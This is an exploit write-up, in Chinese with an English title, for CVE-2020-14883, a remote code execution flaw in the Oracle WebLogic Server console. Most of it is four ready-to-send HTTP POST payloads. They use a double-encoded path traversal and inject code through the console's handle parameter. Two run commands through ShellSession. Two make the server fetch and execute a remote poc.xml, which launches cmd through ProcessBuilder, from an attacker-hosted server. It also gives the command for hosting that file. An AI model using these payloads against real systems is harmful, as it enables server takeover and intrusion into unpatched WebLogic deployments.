[CVE-2020-14883] Oracle WebLogic Server认证的远程代码执行（RCE）

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[CVE-2020-14883] Oracle WebLogic Server Authenticated Remote Code Execution (RCE)

Oracle Fusion Middleware（组件：控制台）的Oracle WebLogic Server产品中的漏洞。受影响的受支持版本是10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0。容易利用的漏洞使未经身份验证的攻击者可以通过HTTP访问网络，从而破坏Oracle WebLogic Server。成功攻击此漏洞可能导致Oracle WebLogic Server被接管

概念验证（POC）1证明： 使用tangosol.coherence.mvel2.sh.ShellSession() 基于Windows的目标

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");

概念验证（POC）2的证明： 使用tangosol.coherence.mvel2.sh.ShellSession() 基于Linux的目标

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")

概念验证（POC）3的证明： 使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 基于Windows的目标

poc.xml 文件内容

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value>
                    <![CDATA[calc]]>
                </value>
            </list>
        </constructor-arg>
    </bean>
</beans>

运行http服务器为 python3 -m http.server 7575

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")

概念验证（POC）4的证明： 使用com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext 基于Windows的目标

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")
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